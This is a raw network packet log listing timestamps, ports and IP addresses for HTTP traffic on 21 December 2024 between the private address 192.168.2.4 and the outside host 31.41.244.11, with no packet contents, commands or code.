Dec 21, 2024 18:16:12.841399908 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.841459990 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.843655109 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.843755960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.843810081 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.846076965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.846122980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.846191883 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.846241951 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.848439932 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.848548889 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.848624945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.850832939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.850891113 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.850929976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.850975990 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.853168964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.853257895 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.853303909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.855443001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.855555058 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.855602980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.857801914 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.857829094 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.857858896 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.857880116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.860080957 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.860234976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.860277891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.862409115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.862472057 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.862576962 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.862626076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.864594936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.864681005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.864711046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.864762068 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.866837978 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.866889000 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.866951942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.866997004 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.869051933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.869157076 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.869204998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.871225119 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.871265888 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.871377945 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.871510029 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.873555899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.873662949 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.873728037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.875670910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.875767946 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.875827074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.877866983 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.877912045 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.877983093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.878025055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.880089998 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.880234003 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.880295038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.882293940 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.882379055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.882414103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.882458925 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.884516001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.884583950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.884641886 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.884708881 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.886732101 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.886914968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.886975050 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.888931990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.888981104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.889044046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.889087915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.891172886 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.891218901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.891330004 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.893366098 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.893450975 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.893651962 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.893704891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.895587921 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.895634890 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.895838976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.895911932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.897797108 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.897895098 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.897948980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.899988890 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.900095940 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.900146961 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.900166988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.902209997 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.902262926 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.902301073 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.902369976 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.904452085 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.904469013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.904541969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.906629086 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.906682014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.906686068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.906727076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.908868074 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.908910036 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.908942938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.908987045 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.910532951 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.910635948 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.910696030 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.912235022 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.912394047 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.912451029 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.913899899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.914083958 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.914195061 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.914235115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.915584087 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.915678978 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.915720940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.917232037 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.917267084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.917335033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.918898106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.918963909 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.918987036 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.919043064 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.920533895 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.920617104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.920650005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.920695066 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:12.924515009 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:12.924570084 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.000818968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.000868082 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.000935078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.001420975 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.001476049 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.001581907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.001631021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.003088951 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.003137112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.003201008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.003247023 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.005002022 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.005049944 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.005065918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.005110979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.006423950 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.006541967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.006599903 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.008223057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.008277893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.008311987 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.008354902 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.009778976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.009829998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.009910107 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.009970903 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.011507988 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.011555910 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.011620998 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.011676073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.013122082 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.013171911 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.013273001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.013322115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.014826059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.014874935 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.014949083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.014996052 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.016542912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.016599894 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.016707897 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.016757011 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.018167973 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.018215895 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.018294096 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.018342018 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.019850969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.019901991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.019911051 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.019958973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.021718979 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.021785021 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.021785021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.021827936 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.023253918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.023299932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.023370028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.023420095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.024859905 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.024908066 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.024986982 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.025034904 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.026520967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.026567936 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.026621103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.026664019 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.028383970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.028402090 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.028431892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.028445959 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.030105114 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.030152082 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.030213118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.030261993 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.031361103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.031416893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.031438112 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.031483889 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.032797098 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.032845974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.032985926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.033031940 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.034495115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.034543991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.034573078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.034648895 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.035841942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.035900116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.035922050 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.035965919 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.037349939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.037390947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.037437916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.038872957 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.038923979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.038949966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.038995028 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.040426970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.040510893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.040560007 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.041946888 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.041996002 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.042155981 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.042203903 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.043526888 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.043668032 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.043718100 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.044980049 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.045027971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.045063019 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.045109987 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.046555996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.046614885 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.046624899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.046655893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.048115969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.048144102 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.048194885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.049659014 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.049786091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.049839020 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.051170111 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.051253080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.051270008 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.052618027 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.052653074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.052658081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.052669048 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.052697897 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.054158926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.054210901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.054351091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.054399014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.055705070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.055870056 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.055917978 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.057296991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.057344913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.057394981 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.057441950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.058790922 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.058829069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.058840036 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.058871031 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.060256004 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.060305119 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.060355902 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.060395956 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.061944008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.061976910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.061992884 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.062016010 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.063287973 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.063333035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.063383102 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.063438892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.064765930 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.064841032 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.064892054 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.064937115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.066018105 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.066093922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.066127062 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.066174984 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.067157030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.067209005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.067276955 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.067332983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.068372965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.068512917 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.068526030 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.068556070 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.069566011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.069612026 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.069679976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.069729090 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.070753098 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.070799112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.070977926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.071026087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.071980000 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.072029114 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.072067022 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.072112083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.073147058 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.073194027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.073268890 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.073322058 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.074320078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.074364901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.074431896 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.074482918 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.075520992 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.075596094 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.075607061 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.075651884 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.076728106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.076780081 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.076848984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.076898098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.077948093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.078001022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.078001022 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:13.078054905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:13.079056978 CET	80	49770	31.41.244.11	192.168.2.4
